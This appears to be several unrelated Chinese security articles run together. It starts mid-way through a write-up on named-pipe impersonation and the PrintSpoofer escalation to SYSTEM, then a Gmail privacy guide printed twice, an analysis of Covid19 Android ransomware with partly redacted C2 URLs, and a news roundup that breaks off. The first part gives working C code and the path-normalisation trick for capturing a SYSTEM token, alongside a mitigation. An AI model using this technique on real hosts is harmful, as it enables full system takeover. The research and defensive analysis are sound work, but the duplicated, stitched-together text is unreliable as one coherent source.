    PrintLastErrorAsText(GetLastError());
    return -1;
}
 
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
    wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}
 
if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
    wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName);
    ConnectNamedPipe(hPipe, NULL);
    wprintf(L"[+] A client connected!\n");
 
    if (ImpersonateNamedPipeClient(hPipe)) {
 
        if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
 
            PrintTokenUserSidAndName(hToken);
            PrintTokenImpersonationLevel(hToken);
            PrintTokenType(hToken);
 
            DoSomethingAsImpersonatedUser();
 
            CloseHandle(hToken);
        }
        else
        {
            wprintf(L"OpenThreadToken() failed. Error = %d - ", GetLastError());
            PrintLastErrorAsText(GetLastError());
        }
    }
    else
    {
        wprintf(L"ImpersonateNamedPipeClient() failed. Error = %d - ", GetLastError());
        PrintLastErrorAsText(GetLastError());
    }
   
    CloseHandle(hPipe);
}
else
{
    wprintf(L"CreateNamedPipe() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
}

前两个函数调用的作用是创建自定义安全描述符,这些描述符将应用于管道之中。这些函数并不是特定于管道而言的,它们在模拟中不会起作用,但我们必须要先提到它们。如同文件或注册表项一样,管道是可保护的对象。这意味着,如果我们没有在创建的命名管道上设置适当的权限,那么使用其他身份运行的客户端可能将根本无法访问它。在这里,我通过授予Everyone对管道的通用访问权限的方式,来得到一种简单的方法。

下面是通过命名管道模拟客户端的过程中所需要的函数:

1、CreateNamedPipe():这个函数名称就足以说明一切。作为服务器应用程序,该函数允许我们创建名称格式为\\.\pipe\PIPE_NAME的命名管道。

2、ConnectNamedPipe():创建管道后,该函数用于接受连接。除非指定了另外的其他参数,否则默认情况下该调用是同步的,因此线程将保持暂停,直至客户端连接为止。

3、ImpersonateNamedPipeClient():这里,就是发生奇迹的地方!

当然,某些规则适用于使用最后一个函数的场景。根据文档中的说明,下面是其中两种可以允许冒充的情况:

1、经过身份验证后,其身份与调用方相同。换句话说,我们自己可以冒充自己。但出乎意料的是,在某些漏洞利用场景中,这种情况实际上是有用的。

2、调用方拥有SeImpersonatePrivilege特权。而这一种,就是我们目前的情况。

在执行代码之前,我还做了最后一件事。我实现了一些函数,这些函数可以打印有关客户端令牌的一些信息,并且我还实现了一个名为DoSomethingAsImpersonatedUser()的函数,该函数的目的是检查我们是否可以在客户端上下文中实际执行代码。在这篇文章的最后,我们将涉及这一部分内容。

PrintTokenUserSidAndName(hToken);
PrintTokenImpersonationLevel(hToken);
PrintTokenType(hToken);
DoSomethingAsImpersonatedUser();

接下来,我们可以行动了。由于默认情况下管理员都具有SeImpersonatePrivilege特权,因此以本地管理员身份启动服务器应用程序后,我就使用普通帐户,尝试写入命名管道。

3.gif

在客户端连接之后,我们将得到模拟级别为2的模拟令牌,即SecurityImpersonation。另外,DoSomethingAsImpersonatedUser()也成功返回了,这意味着我们可以在这个客户端的安全上下文中运行任意代码。

在这里,也许大家注意到,我使用的路径是\\localhost\pipe\foo123,而不是\\.\pipe\foo123,这是管道的真实名称。为了模拟成功,服务器必须首先从管道读取数据。如果客户端使用\\.\pipe\foo123作为管道的打开路径,则不会写入任何数据,并且ImpersonateNamedPipeClient()将会失败。另一方面,如果客户端使用\\HOSTNAME\pipe\foo123打开管道,则ImpersonateNamedPipeClient()将会成功。上述结果是经过我们尝试获得的结论,其根本原因目前尚不清楚。

4.png

总而言之,我们现在知道,为了在另一个用户的上下文中创建进程,我们需要有一个令牌。然后,我们看到,由于服务器应用程序利用了命名管道来模拟,因此就可以得到该令牌。到目前为止,这是一个常识,但问题在于——如何欺骗NT AUTHORITY\SYSTEM帐户连接到我们的命名管道呢?

获取SYSTEM Token

去年年底,@decoder_it发表了一篇文章,标题为《看着像土豆的豆子——如何从服务帐户提升到SYSTEM》,在该文章中,作者演示了如何利用后台智能传输服务(BITS)在本地NTLM中继方案中获取SYSTEM令牌,该方案与Potato漏洞利用中使用的技术非常相似。@decoder_it和@splinter_code在名为RogueWinRM的工具中实现了这个技术。

尽管该方法是完全有效的,但它具有明显的缺点。它依赖于BITS在本地TCP/5985端口(默认的WinRM端口)上执行的WinRM请求。如果该端口可用,则可以创建一个恶意WinRM服务器,该服务器将回复此请求,从而捕获SYSTEM帐户的凭据。尽管WinRM服务通常在工作站上处于停止状态,但在服务器实例上却是完全相反的,因此在这种情况下将无法利用。

当这项研究的结果和相关PoC出来时,我也在寻找一种实现相同目标的通用方法——通过本地NTLM中继捕获SYSTEM令牌。尽管这并不是我的首要任务,但我确实找到了类似的技巧,但最终我们发现的技巧也具有着相同的局限性。它并不适用于大多数Windows Server安装,因此我就将其暂时搁置了。然后,在几个月后的一次聊天中,@jonaslyk给了我一个新的思路——利用打印机漏洞。

Lee Christensen(@tifkin_)利用打印机的漏洞,编写了一个名为SpoolSample的工具。根据GitHub上该工具的描述,其目的是“强制Windows主机通过MS-RPRN RPC接口向其他计算机进行身份验证”。该工具背后的思想是通过欺骗域控制器连接回配置有不受约束委派的系统,从而提供一种简单有效的机制以实现AD域环境的漏洞利用。基于这个简单的概念,攻击者可以选择两种方式进行攻击。

该漏洞利用基于对Print Spooler服务公开函数的单独RPC调用。

DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
    /* [in] */ PRINTER_HANDLE hPrinter,
    /* [in] */ DWORD fdwFlags,
    /* [in] */ DWORD fdwOptions,
    /* [unique][string][in] */ wchar_t *pszLocalMachine,
    /* [in] */ DWORD dwPrinterLocal,
    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

根据文档,上述函数创建一个远程更改通知对象,该对象监视对打印机对象的更改,并使用RpcRouterReplyPrinter或RpcRouterReplyPrinterEx将更改发送到打印客户端。

那么,这些通知将如何发送给客户端呢?实际上,是通过命名管道上的RPC。我们发现,Print Spooler服务的RPC结构是通过命名管道公开的(\\.\pipe\spoolss)。

5.png

既然如此,我们来尝试一下Lee Christensen提供的PoC。

6.png

该工具最初需要我们指定两个服务器名称——一个是用于连接(域控制器)的名称,另一个是用于捕获身份验证的服务器名称,由我们来控制。在这里,我们需要连接到本地计算机,并且还要在本地计算机上接收通知。但问题在于,如果这么做,通知将会发送到\\DESKTOP-RTFONKM\pipe\spoolss。该管道由NT AUTHORITY\SYSTEM控制,我们无法创建自己的同名管道,这样没有任何意义。另一方面,如果我们指定任意路径并附加任意字符串,则调用将会在路径验证检查时出现问题。

不过,@jonaslyk与我分享了另一个技巧。如果主机名包含/,它实际上将能够通过路径验证检查,但是在计算要连接的命名管道的路径时,规范化会将其转换为\。这样一来,我们就可以部分控制服务器所使用的路径。

7.gif

如上图所示,服务正在使用的最终路径现在就变为了\\DESKTOP-RTFONKM\foo123\pipe\spoolss。当然,这不是命名管道的有效路径,但如果稍作调整,我们就可以使其成为有效路径。如果我们在RPC调用中指定\\DESKTOP-RTFONKM/pipe/foo123值,那么该服务会将其转换为\\DESKTOP-RTFONKM\pipe\foo123\pipe\spoolss,而这是非常有用的!

在我们的服务器应用程序上,可以快速进行测试验证。下面的截图表明我们成功建立了连接,并且可以成功模拟NT AUTHORITY\SYSTEM。

8.png

使用一个名为PrintSpoofer的工具,我们成功实现了这一技巧。但是还有一个前提条件,就是需要SeImpersonatePrivilege的特权。我已经在Windows 8.1、Windows Service 2012 R2、Windows 10和Windows Server 2019的默认版本上成功进行了测试。在某些情况下,在Windows的较早版本上可能也可以正常工作。

下面的截图中展示了在实际场景中该工具的执行情况。在Windows Server 2019上会打开一个Shell,作为CDPSvc服务的子进程。这个示例非常值得关注,因为该服务是以NT AUTHORITY\LOCAL SERVICE的身份运行,只有两个特权——SeChangeNotifyPrivilege和SeImpersonatePrivilege。

9.png

如何防范命名管道模拟

首先,命名管道模拟是可以采取防范措施的。我们可以指定禁止模拟,或者禁止服务器在安全上下文中运行代码。实际上,我在上一篇文章中已经提及过一个相关的实现,该保护由Microsoft实施,用于修复这个“漏洞”。

在进一步说明前,我们需要一个虚拟客户端应用程序与命名管道服务器进行通信,这将更好地帮助我说明后续的内容。命名管道是文件系统的一部分,那么我们如何连接到管道呢?答案是——可以通过简单地CreateFile()函数调用。

HANDLE hFile = CreateFile(
    argv[1],                        // pipe name
    GENERIC_READ | GENERIC_WRITE,   // read and write access
    0,                              // no sharing
    NULL,                           // default security attributes
    OPEN_EXISTING,                  // opens existing pipe
    0,                              // default attributes
    NULL                            // no template file
);
 
if (hFile != INVALID_HANDLE_VALUE) {
    wprintf(L"[+] CreateFile() OK\n");
    CloseHandle(hFile);
} else {
    wprintf(L"[-] CreateFile() failed. Error: %d - ", GetLastError());
}

如果运行此代码,就可以看到我们在命名管道上获得了连接,并且客户端已经成功模拟。毫无疑问,因为我使用默认值调用了CreateFile()。

10.png

但是,在CreateFile()函数的文档中,我们可以看到有很多属性可以被指定。特别是,如果设置了SECURITY_SQOS_PRESENT标志,我们就可以控制令牌的模拟级别。

11.png

因此,在虚拟客户端应用程序的源代码中,我修改了如下的CreateFile()函数调用。其SECURITY_SQOS_PRESENT和SECURITY_IDENTIFICATION值现在被指定为是dwFlagsAndAttributes参数的一部分。

HANDLE hFile = CreateFile(
    argv[1],                        // pipe name
    GENERIC_READ | GENERIC_WRITE,   // read and write access
    0,                              // no sharing
    NULL,                           // default security attributes
    OPEN_EXISTING,                  // opens existing pipe
    SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, // impersonation level: SecurityIdentification
    NULL                            // no template file
);

12.png

我们仍然能够获得有关令牌的一些信息,但是这一次,如果我们尝试在客户端的安全上下文中执行代码,就会返回错误:未提供所需的模拟级别,或者提供的模拟级别无效。确实,令牌的模拟级别现在为SecurityIdentification,这可以防止我们的恶意服务器应用程序完全模拟客户端。

尽管这样,但其中仍然存在一些理论上的问题,我之前说过,Microsoft之所以实施这个保护措施,是为了修复漏洞。在上一篇文章中,我讨论了服务跟踪功能中存在的漏洞,而该功能可以让我们通过在HKLM配置单元中编辑注册表项的方式,收集有关特定服务的某些调试信息。任何经过身份验证的用户都可以在FileDirectory值中指定日志文件的目标文件夹。例如,如果指定C:\test,则调试后的程序将写入到C:\test\MODULE.log,并且该操作在目标应用程序或服务的安全上下文中执行。

由于我们可以控制文件路径,因此我们也可以直接将管道名称用作目标目录的路径,而这就导致了CVE-2010-2554(MS10-059)漏洞的存在。

@cesarcer已经将该漏洞报告给Microsoft,他在名为Chimichurri的工具中实现了这一漏洞利用。我暂时没有找到源代码,但是我们可以在这个存储库中找到这一工具。这样一来,将会使NT AUTHORITY\SYSTEM运行的服务连接到恶意命名管道,从而捕获其令牌。只要我们拥有SeImpersonatePrivilege,就可以利用这种方法。

接下来,我们来尝试在Windows 10上进行同样的操作会发生什么:

13.png

尽管我们已经拥有了SeImpersonatePrivilege特权,但是当我们尝试在SYSTEM帐户的上下文执行代码时,会得到完全相同的报错。我们查看rtutils.dll中用于打开日志文件的CreateFile()调用,可以看到以下内容:

14.png

十六进制值0x110080实际上是SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION | FILE_ATTRIBUTE_NORMAL。

需要特别说明的是,这种防护方式并不是绝对安全的,只会使攻击者的攻击过程变得更加困难。

最终,Microsoft接收了这一漏洞,并为其分配了CVE编号,甚至还发布了详细的安全公告。但时过境迁,如今,如果我们尝试报告这样的漏洞,Microsoft会答复说,通过利用模拟特权来提升特权是一种预期的行为。他们可能会觉得,这是一场无法取胜的战斗,但事实并非如此。正如James Forshaw曾经在Twitter上所说的:“他们认为,如果你具有模拟特权,那么你也可能会是SYSTEM。他们可能会使用户(攻击者)更难以获得合适的Token,但这就像一场猫鼠游戏,因为总有其他地方可以让我们来利用。”

总结

在这篇文章中,我说明了如何在Windows 10上利用模拟特权来在SYSTEM帐户的上下文中执行代码。有很多作为本地/网络服务运行的Windows服务都具有这些功能。不过,有的时候也没有。在这种情况下,我们仍然可以使用FullPowers工具,或者按照James Forshaw的方法来得到模拟特权。

最后一点,我想对@jonaslyk表示特别感谢。在过去的几周中,我有幸多次与他聊天,我不得不说,他一直乐于分享和解释一些很棒的技巧和窍门。这些对话成为了我们集思广益的来源,转换为了非常富有成效的结果。

相关资源

[1] GitHub - itm4n / PrintSpoofer

[2] Decoder:看着像土豆的豆子——如何从服务帐户提升到SYSTEM

[3] GitHub - antonioCoco / RogueWinRM(从服务帐户到系统的Windows本地特权提升)

[4] GitHub - leechristensen / SpoolSample

[5] Tyranid's Lair - Sharing a Logon Session a Little Too Much

Gmail-Security-Features.jpg

你可能是使用Gmail的15亿人中的一员,但我们中的许多人只是把它当成一个文件中转站,而没有花时间去探索它的一些额外的特性和功能,而其中一些性能就是旨在使我们更加安全并保护我们的隐私。

在后台,Gmail提供了许多选项和功能,可以使我们免受诈骗者、广告商的侵害,并保护电子邮件的私密性和安全性。

阻止持续的垃圾邮件发送者

1.jpg

如果有人不断往你的收件箱发送垃圾邮件,但Gmail的“报告垃圾邮件”功能没有发现这些邮件,Gmail可以让你很容易地阻止这个发件人。打开电子邮件后,点击右上角的三个点,然后选择“阻止”。任何来自同一发件人的消息都会自动进入垃圾邮件文件夹,因此你不会看到它们。

但是,即使它看起来不起作用,也不要忽略垃圾邮件报告功能。虽然它并不是要阻止来自同一个发件人的邮件到达你的邮箱,但它确实有助于使用邮件的内容和特征来训练Gmail的垃圾邮件过滤器。谷歌表示,他们会在分析一定数量的标记邮件后,改善其算法。

要进行更多自定义控件,请创建一个过滤器。与其从菜单中选择“阻止或报告垃圾邮件”,不如选择“过滤邮件”。然后,你可以设置一系列操作,这些操作始终应用于发件人的来信或与过滤条件匹配的操作,这些操作可能包括将电子邮件标记为已读、不重要,然后将其发送到垃圾邮件文件夹,或将其完全删除。

增加“撤消发送”的等待时间

2.jpg

Gmail内置了一个“撤消发送”功能,如果你足够快的话,它使你能够在发送的电子邮件到达收件人之前对其进行撤回。其原理就是通过将电子邮件的发送延迟几秒钟来实现的。因此,如果你注意到拼写错误或收件人选择错了,可以使用“撤消发送”功能。

默认情况下,撤销发送窗口被设置为10秒,但是你可以将这个时间增加到20秒甚至30秒,以给自己更多的时间来思考。只需单击Gmail主界面右上角的齿轮图标,单击设置,然后打开常规设置界面即可。

使用机密模式

3.jpg

谷歌的电子邮件服务Gmail于2018年宣布了全新的保密模式,该模式可以更好地控制通过Gmail发送的电子邮件。使用Gmail机密模式,收件人无法下载或转发邮件,而且还可以设置计时器以自动删除电子邮件。 到目前为止,该功能仅适用于部分用户。现在,Google正式确认,自6月25日起,每位Gmail服务用户均可免费使用Gmail机密模式。6月25日或之后,默认情况下,Gmail机密模式将打开,用户可以从设置菜单中禁用该模式。但是,对于由公司处理的那些Gmail帐户,IT部门的管理员将完全控制Gmail机密模式。 如何启用Gmail机密模式? 要启用Gmail机密模式,请依次转到设置>应用> G Suite> Gmail设置>用户设置>启用。 如何禁用Gmail机密模式? 要启用Gmail机密模式,请依次转到设置>应用> G Suite> Gmail设置>用户设置>禁用。 如何在Gmail机密模式下发送邮件? 到目前为止,该功能仅在桌面模式下可用。

在机密电子邮件的另一端,收件人将能够看到你添加的到期日期,并且将无法使用所有通常的转发和打印选项,机密电子邮件可以存在的最长时间是五年。

对于这些自毁的、超级安全的邮件,有几点需要注意:如果收到这些邮件的人没有使用官方的Gmail应用程序,他们需要在网上打开这些邮件。此外,请记住,没有什么可以阻止你的联系人截屏机密信息,然后传递这些图像,所以这种模式最适合于你信任的人。

删除缓存的离线数据

4.jpg

Gmail现在甚至可以脱机工作,这对于那些互联网连接不固定的情况非常有用,但对于你的个人隐私来说可能并不是那么好。即使没有互联网连接,知道自己在寻找什么的人也可以从Gmail的本地缓存中获得大量信息,前提是他们可以访问你正在使用的计算机。

如果你的电脑与你的家人、同事、当地图书馆的访客或其他任何人共享,要确保这些数据在你注销后被删除。点击收件箱主屏幕上的齿轮图标(右上角),然后点击设置和离线。在“从我的计算机删除脱机数据”框中选中“安全”标题旁边的“删除脱机数据”复选框,并确保在完成登录后退出Gmail。

隐藏外部图像

5.jpg

嵌入的图像仍然是电子邮件的隐私和安全隐患,因为它们可以显示有关你的浏览器,计算机甚至你如何使用它们的信息,而不是你想要给恰好有你电子邮件地址的人的信息。虽然许多很严重的漏洞现在已经修补,但总是存在风险。

然而,更常见的问题是电子邮件跟踪。发送电子邮件的人可以用嵌入的名为“跟踪像素”的小图像来判断你是否打开了他们发送的邮件,你什么时候打开的,以及你用什么设备打开的。他们甚至可以知道你是否把邮件转发给了别人。这对市场营销人员来说都是非常有用的数据,但它可能不是那种让你感到舒服的跟踪。

由于电子邮件都包含一个微小到肉眼不可见的图像文件,只有一个像素大小,也称为1×1图像。每个收到电子邮件的人都有一个独特的跟踪图像地址。这些图像在他们系统中都有唯一的标识,这也被用来区分每一封邮件的身份。当你打开电子邮件的时候,它会加载图像(即使你看不到任何图像),它会加载一个具有唯一地址身份的图像。当从公司的服务器加载特定图像时,他们将会知道发送给你的电子邮件已经被打开了。

现在,Gmail会执行一些自动电子邮件扫描,以查找不负责任的图像。谷歌表示:“如果Gmail认为发件人或邮件可疑,则不会显示图像,你将被询问是否要查看图像。”如果你想比标准的谷歌保护更进一步,你可以在默认情况下设置隐藏图像。

在Gmail主窗口中,点击右上角的齿轮图标,然后选择设置。打开“常规”选项卡并选中“询问”,然后在“图像”旁边显示外部图像。当你打开电子邮件时,将不会显示图像,但是你可以选择为你信任的电子邮件和发件人加载图像。

Gmail-Security-Features.jpg

你可能是使用Gmail的15亿人中的一员,但我们中的许多人只是把它当成一个文件中转站,而没有花时间去探索它的一些额外的特性和功能,而其中一些性能就是旨在使我们更加安全并保护我们的隐私。

在后台,Gmail提供了许多选项和功能,可以使我们免受诈骗者、广告商的侵害,并保护电子邮件的私密性和安全性。

阻止持续的垃圾邮件发送者

1.jpg

如果有人不断往你的收件箱发送垃圾邮件,但Gmail的“报告垃圾邮件”功能没有发现这些邮件,Gmail可以让你很容易地阻止这个发件人。打开电子邮件后,点击右上角的三个点,然后选择“阻止”。任何来自同一发件人的消息都会自动进入垃圾邮件文件夹,因此你不会看到它们。

但是,即使它看起来不起作用,也不要忽略垃圾邮件报告功能。虽然它并不是要阻止来自同一个发件人的邮件到达你的邮箱,但它确实有助于使用邮件的内容和特征来训练Gmail的垃圾邮件过滤器。谷歌表示,他们会在分析一定数量的标记邮件后,改善其算法。

要进行更多自定义控件,请创建一个过滤器。与其从菜单中选择“阻止或报告垃圾邮件”,不如选择“过滤邮件”。然后,你可以设置一系列操作,这些操作始终应用于发件人的来信或与过滤条件匹配的操作,这些操作可能包括将电子邮件标记为已读、不重要,然后将其发送到垃圾邮件文件夹,或将其完全删除。

增加“撤消发送”的等待时间

2.jpg

Gmail内置了一个“撤消发送”功能,如果你足够快的话,它使你能够在发送的电子邮件到达收件人之前对其进行撤回。其原理就是通过将电子邮件的发送延迟几秒钟来实现的。因此,如果你注意到拼写错误或收件人选择错了,可以使用“撤消发送”功能。

默认情况下,撤销发送窗口被设置为10秒,但是你可以将这个时间增加到20秒甚至30秒,以给自己更多的时间来思考。只需单击Gmail主界面右上角的齿轮图标,单击设置,然后打开常规设置界面即可。

使用机密模式

3.jpg

谷歌的电子邮件服务Gmail于2018年宣布了全新的保密模式,该模式可以更好地控制通过Gmail发送的电子邮件。使用Gmail机密模式,收件人无法下载或转发邮件,而且还可以设置计时器以自动删除电子邮件。 到目前为止,该功能仅适用于部分用户。现在,Google正式确认,自6月25日起,每位Gmail服务用户均可免费使用Gmail机密模式。6月25日或之后,默认情况下,Gmail机密模式将打开,用户可以从设置菜单中禁用该模式。但是,对于由公司处理的那些Gmail帐户,IT部门的管理员将完全控制Gmail机密模式。 如何启用Gmail机密模式? 要启用Gmail机密模式,请依次转到设置>应用> G Suite> Gmail设置>用户设置>启用。 如何禁用Gmail机密模式? 要启用Gmail机密模式,请依次转到设置>应用> G Suite> Gmail设置>用户设置>禁用。 如何在Gmail机密模式下发送邮件? 到目前为止,该功能仅在桌面模式下可用。

在机密电子邮件的另一端,收件人将能够看到你添加的到期日期,并且将无法使用所有通常的转发和打印选项,机密电子邮件可以存在的最长时间是五年。

对于这些自毁的、超级安全的邮件,有几点需要注意:如果收到这些邮件的人没有使用官方的Gmail应用程序,他们需要在网上打开这些邮件。此外,请记住,没有什么可以阻止你的联系人截屏机密信息,然后传递这些图像,所以这种模式最适合于你信任的人。

删除缓存的离线数据

4.jpg

Gmail现在甚至可以脱机工作,这对于那些互联网连接不固定的情况非常有用,但对于你的个人隐私来说可能并不是那么好。即使没有互联网连接,知道自己在寻找什么的人也可以从Gmail的本地缓存中获得大量信息,前提是他们可以访问你正在使用的计算机。

如果你的电脑与你的家人、同事、当地图书馆的访客或其他任何人共享,要确保这些数据在你注销后被删除。点击收件箱主屏幕上的齿轮图标(右上角),然后点击设置和离线。在“从我的计算机删除脱机数据”框中选中“安全”标题旁边的“删除脱机数据”复选框,并确保在完成登录后退出Gmail。

隐藏外部图像

5.jpg

嵌入的图像仍然是电子邮件的隐私和安全隐患,因为它们可以显示有关你的浏览器,计算机甚至你如何使用它们的信息,而不是你想要给恰好有你电子邮件地址的人的信息。虽然许多很严重的漏洞现在已经修补,但总是存在风险。

然而,更常见的问题是电子邮件跟踪。发送电子邮件的人可以用嵌入的名为“跟踪像素”的小图像来判断你是否打开了他们发送的邮件,你什么时候打开的,以及你用什么设备打开的。他们甚至可以知道你是否把邮件转发给了别人。这对市场营销人员来说都是非常有用的数据,但它可能不是那种让你感到舒服的跟踪。

由于电子邮件都包含一个微小到肉眼不可见的图像文件,只有一个像素大小,也称为1×1图像。每个收到电子邮件的人都有一个独特的跟踪图像地址。这些图像在他们系统中都有唯一的标识,这也被用来区分每一封邮件的身份。当你打开电子邮件的时候,它会加载图像(即使你看不到任何图像),它会加载一个具有唯一地址身份的图像。当从公司的服务器加载特定图像时,他们将会知道发送给你的电子邮件已经被打开了。

现在,Gmail会执行一些自动电子邮件扫描,以查找不负责任的图像。谷歌表示:“如果Gmail认为发件人或邮件可疑,则不会显示图像,你将被询问是否要查看图像。”如果你想比标准的谷歌保护更进一步,你可以在默认情况下设置隐藏图像。

在Gmail主窗口中,点击右上角的齿轮图标,然后选择设置。打开“常规”选项卡并选中“询问”,然后在“图像”旁边显示外部图像。当你打开电子邮件时,将不会显示图像,但是你可以选择为你信任的电子邮件和发件人加载图像。

《地母经》里说:“鼠耗出头年,高低多偏颇。”庚子年,似乎都伴随着重大灾难或历史转折,新冠肺炎的出现,使人们在这一年的开头感到了一丝沉重,一些人总会挺身而出,悬壶济世,成为最美逆行者;一些人总会趁着乱世,利用人性的弱点,扰乱社会秩序,从而达到不法的目的。

自2020年初以来,恒安嘉新暗影安全实验室持续针对“新冠肺炎”相关的病毒样本进行监测,近期,我们发现了一款名为“Covid19”的病毒软件,其代码结构与“SauronLocker”家族病毒及其相似,我们怀疑是该病毒家族的新变种,用户设备中毒后,导致用户手机的通讯录和外存储文件被加密,要求用户支付比特币解密,另外,该版本采用AES的加密算法,而加解密的密钥是从远程服务器动态获取,增加了破解勒索软件加密算法的难度。

一、基本信息

样本名称:Covid19

样本MD5:362DAC3F2838D2BF60C5C54CC6D34C80

样本包名:com.ins.fortnite

签名信息:CN=KhumarAjit, OU=App Dev, O=App Dev, L=Bangladesh, ST=Balgadesh, C=ID

图1“Covid19”安装图标

二、运行原理

该程序是一款名为“Covid19”的勒索软件,程序运行后将自身界面置顶,妨碍用户正常退出。首先,获取设备的基本信息(UID)作为参数上传到远程服务器,用于识别设备并下发加密密钥,然后,加密用户手机的外部存储文件,加密文件后缀为“.encrypted”,同时将用户通讯录文件利用AES算法加密后,再通过BASE64编码进行存储,并删除原通讯录信息,最后,弹出勒索界面信息,要求用户需要支付0.028比特币。

用户点击“CHECKPAYMENT ANDUNBLOCK”按钮时,程序访问服务器判断是否付款和获取解密密钥,当返回信息为“true”,密钥正确时会自动进行解密并提示用户重启手机解除锁定。

病毒运行流程示意图:

图2 病毒运行流程示意图

三、代码分析

该软件的代码框架相对简洁,主要由开机启动广播、恶意服务、勒索界面、加密解密四部分组成,其中加密解密密钥是从远程服务器远程获取,相对比较复杂。

图3 代码框架

3.1实施勒索

程序运行后将自身界面置顶,注册开机广播,实现开机自启,妨碍用户正常退出,获取设备的基本信息(如:UID)作为参数上传到远程服务器,用于设备识别并下发加密密钥,之后程序会对用户外部存储的文件以及通讯录文件利用AES算法进行加密。

自身界面置顶:

图4 窗口置顶

开机自启:

图5 开机自启

生成设备唯一识别码:

图6 生成设备UID

加密通讯录和外部存储文件:

url:http://ex***pooo.xyz/wp-content/gateway/attach.php

图7 加密通讯录和文件

获取勒索信息进行展示:

url:http://ex***pooo.xyz/wp-content/gateway/settings.php

图8 获取勒索信息

图9 展示勒索信息

3.2加解密算法

通过代码分析可知,加解密的密钥通过服务器下发,经过AES算法对通讯录和文件进行加密操作,由于AES算法属于对称加密算法,所以加解密的密钥相同,只要知道加密时的密钥就能进行解密,而加密的密钥可以在首次启动该软件时进行抓包获取到。

获取加密密钥:

图10 获取加密密钥

将密钥转换成比特数组:

图11 密钥转换

将转换后的比特数组作为KEY值,利用AES/CBC/PKCS5Padding算法类型进行加密:

图12 AES算法

加密通讯录:

将通讯录利用AES算法加密后,再通过BASE64编码进行存储,并删除原信息:

图13 加密通讯录

图14 通讯录加密前后对比

加密文件

将文件经过AES加密后,并在文件名后面添加“.encrypted”字符串,最后删除原文件

图15 文件加密前后对比

3.3解除勒索

当点击“CHECKPAYMENT ANDUNBLOCK”按钮时,程序访问服务器判断是否付款和获取解密密钥,当返回信息为“true”,密钥正确时会自动进行解密并提示用户重启手机解除锁定。

与后台确认是否付款和解除锁定:

url:http://ex***pooo.xyz/wp-content/gateway/check.php

图16 与后台确认是否付款和解除锁定

图17 解析返回的信息

图18 解除锁定的界面

溯源分析

(1)域名溯源

通过域名信息进行溯源,发现该域名注册日期为2020年3月,存有后台管理地址,服务器开启了列目录功能,可以看到部分文件,通过文件的编辑日期可以看出该作者早在2018年就开始进行该软件的制作,最后修改日期为2020年4月22日,可以看出是针对目前的热点新闻进行了针对性修改,更容易欺骗用户。

Whois信息:

图19 域名备案信息

后台地址:

url:http://ex***pooo.xyz/wp-content/admin/login.php

图20 后台地址

服务器目录结构:

图21 服务器文件目录

用于勒索的主要文件

图22 用于勒索的文件

域名对应IP地址为104.18.47.130 美国。

(2)数字钱包溯源

要求支付比特币的钱包地址:3DEdThknF1sRr57djd47ii2uKa1SWDG8c5

图23 比特币交易信息

(3)同源性分析

2019年8月,首次出现“SauronLocker”家族勒索软件,根据同源性分析,我们本次发现的样本在界面、包名、代码结构、逻辑功能等方面,都与“SauronLocker”家族病毒极度相似,我们归属于同一家族病毒。

界面对比:

图24 界面对比

代码结构对比:

图25 文件对比

签名对比,发现本次软件的作者使用了带有孟加拉国命名的签名信息:

图26 样本签名信息

五、总结

此类勒索软件具有代码结构相似,二次开发容易的特点,利用对文件和通讯录加密的方式进行勒索,由于密钥采用远程下发的方式,破解难度大,最终迫使用户交纳赎金,危害极大,该软件源代码已经泄露,使得二次开发和代码复用变得极其容易,对用户的威胁将会更大。

在此,暗影实验室提醒大家,不轻易相信陌生人,不轻易点击陌生人发送的链接,不轻易下载不安全应用。

安全从自身做起,建议用户在下载软件时,到正规的应用商店进行下载正版软件,避免从论坛等下载软件,可以有效的减少该类病毒的侵害;

很多用户受骗正是因为钓鱼短信的发件人显示为10086、95588等正常号码而放松安全警惕导致中招,运营商需要加强对***的监控打击力度,减少遭受***干扰的几率;

各大银行、各支付平台需要加强对各自支付转账渠道的监管,完善对用户资金转移等敏感操作的风控机制,防止被不法分子利用窃取用户网银财产;

警惕各种借贷软件的套路,不要轻易使用借贷类App。

*本文作者:暗影安全实验室,转载请注明来自FreeBuf.COM

本周BUF大事件还是为大家带来了新鲜有趣的安全新闻,三星手机因锁屏APP闰月bug无限重启;StrandHogg 2.0安卓漏洞影响超过10亿台设备;泰国移动运营商泄露83亿互联网记录;360百度联合行动,追踪打击“双枪”恶意木马。想要了解详情,来看本周的BUF大事件吧!

观看视频

内容梗概

三星手机因锁屏APP闰月bug无限重启

5月23日凌晨,大量三星手机用户发微博称,自己的三星设备出现了乱码、黑屏和无限重启等故障。问题被认为是锁屏 APP 闰月 bug 导致,5 月 23 日是农历闰四月初一,旧版本的三星锁屏 APP的农历显示存在 bug,导致了系统崩溃。此次受影响手机用户包括S8、S9、S10乃至于S20等机型。很多用户还报告他们手机上的数据也因为这个bug丢失了。彻底修复这一bug要等到三星发布的系统更新,不知道三星的办事效率能不能尽快解决。捕获213213.PNG

StrandHogg 2.0安卓漏洞影响超过10亿台设备

近日,安全研究人员披露了一种新型安卓严重漏洞,该漏洞编号为CVE-2020-0096,因其与Strandhogg漏洞相似,又被称为“StrandHogg2.0”,影响超10亿台安卓设备。该漏洞位于安卓的多任务处理系统中,可被设备上安装的流氓应用程序利用,从而构成合法应用程序,以试图从受害者那里获得更高的权限。所幸,在今年5月份,谷歌已经发布安全补丁,安卓用户应尽快更新设备,以免受到恶意攻击的影响。

covid19attack2.jpg

泰国移动运营商泄露83亿互联网记录

